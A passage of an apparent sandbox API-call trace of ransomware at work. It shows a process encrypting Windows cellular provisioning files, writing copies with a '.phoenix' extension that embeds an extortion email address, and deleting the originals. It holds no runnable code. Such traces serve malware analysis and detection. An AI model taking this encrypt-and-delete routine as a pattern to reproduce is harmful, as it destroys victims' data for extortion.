	[0234.275] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0234.275] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cd, lpOverlapped=0x0) returned 1
	[0234.862] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0234.862] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0234.863] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151440) returned 1
	[0234.863] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0234.863] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0234.863] CryptDestroyKey (hKey=0x151440) returned 1
	[0234.863] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0234.863] CryptDestroyKey (hKey=0x151200) returned 1
	[0234.863] CloseHandle (hObject=0x2f0) returned 1
	[0234.863] CloseHandle (hObject=0x2c0) returned 1
	[0234.864] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\115__connections_cellular_elisa estonia (estonia)_i0$(__mvid)@wap.provxml")) returned 1
	[0234.865] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0234.865] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\117__connections_cellular_emt (estonia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0234.867] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=712) returned 1
	[0234.867] CloseHandle (hObject=0x2c0) returned 1
	[0234.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\117__connections_cellular_emt (estonia)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0234.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\117__connections_cellular_emt (estonia)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0234.868] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\117__connections_cellular_emt (estonia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0234.868] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0234.868] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0234.868] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\117__connections_cellular_emt (estonia)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0234.868] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1514c0) returned 1
	[0234.868] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0234.868] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c8, lpOverlapped=0x0) returned 1
	[0234.939] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0234.939] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0234.940] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151440) returned 1
	[0234.940] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0234.940] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0234.940] CryptDestroyKey (hKey=0x151440) returned 1
	[0234.940] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0234.940] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0234.940] CloseHandle (hObject=0x2c0) returned 1
	[0234.940] CloseHandle (hObject=0x2f0) returned 1
	[0234.940] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\117__connections_cellular_emt (estonia)_i1$(__mvid)@wap.provxml")) returned 1
	[0234.941] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0234.941] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\118__connections_cellular_tele2 (estonia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0234.942] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=656) returned 1
	[0234.942] CloseHandle (hObject=0x2f0) returned 1
	[0234.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\118__connections_cellular_tele2 (estonia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0234.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\118__connections_cellular_tele2 (estonia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0234.942] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\118__connections_cellular_tele2 (estonia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0234.942] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0234.942] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0234.942] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\118__connections_cellular_tele2 (estonia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0234.942] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1517c0) returned 1
	[0234.942] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0234.942] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x290, lpOverlapped=0x0) returned 1
	[0234.993] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2a0) returned 1
	[0234.993] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2a0, lpOverlapped=0x0) returned 1
	[0234.994] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151040) returned 1
	[0234.994] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0234.994] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0234.994] CryptDestroyKey (hKey=0x151040) returned 1
	[0234.994] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0234.994] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0234.994] CloseHandle (hObject=0x2f0) returned 1
	[0234.994] CloseHandle (hObject=0x2c0) returned 1
	[0234.995] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\118__connections_cellular_tele2 (estonia)_i0$(__mvid)@wap.provxml")) returned 1
	[0234.996] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0234.996] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\11__connections_cellular_optus (australia)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0234.997] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=724) returned 1
	[0234.998] CloseHandle (hObject=0x2c0) returned 1
	[0234.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\11__connections_cellular_optus (australia)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0234.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\11__connections_cellular_optus (australia)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0234.998] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\11__connections_cellular_optus (australia)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0234.998] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0234.998] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0234.998] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\11__connections_cellular_optus (australia)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0234.998] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151240) returned 1
	[0234.998] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0234.998] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d4, lpOverlapped=0x0) returned 1
	[0235.267] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0235.267] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0235.268] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151080) returned 1
	[0235.268] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0235.268] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0235.268] CryptDestroyKey (hKey=0x151080) returned 1
	[0235.268] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0235.268] CryptDestroyKey (hKey=0x151240) returned 1
	[0235.268] CloseHandle (hObject=0x2c0) returned 1
	[0235.268] CloseHandle (hObject=0x2f0) returned 1
	[0235.269] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\11__connections_cellular_optus (australia)_i2$(__mvid)@wap.provxml")) returned 1
	[0235.270] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0235.270] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\126__connections_cellular_alands mobiltelefon ab (finland)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0235.270] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=668) returned 1
	[0235.270] CloseHandle (hObject=0x2f0) returned 1
	[0235.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\126__connections_cellular_alands mobiltelefon ab (finland)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0235.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\126__connections_cellular_alands mobiltelefon ab (finland)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0235.270] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\126__connections_cellular_alands mobiltelefon ab (finland)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0235.270] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0235.271] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0235.271] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\126__connections_cellular_alands mobiltelefon ab (finland)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0235.271] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151400) returned 1
	[0235.271] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0235.271] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x29c, lpOverlapped=0x0) returned 1
	[0235.333] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2a0) returned 1
	[0235.333] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2a0, lpOverlapped=0x0) returned 1
	[0235.334] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151100) returned 1
	[0235.334] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0235.334] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0, dwBufLen=0xd0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0) returned 1
	[0235.334] CryptDestroyKey (hKey=0x151100) returned 1
	[0235.334] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x182, lpOverlapped=0x0) returned 1
	[0235.334] CryptDestroyKey (hKey=0x151400) returned 1
	[0235.334] CloseHandle (hObject=0x2f0) returned 1
	[0235.334] CloseHandle (hObject=0x2c0) returned 1
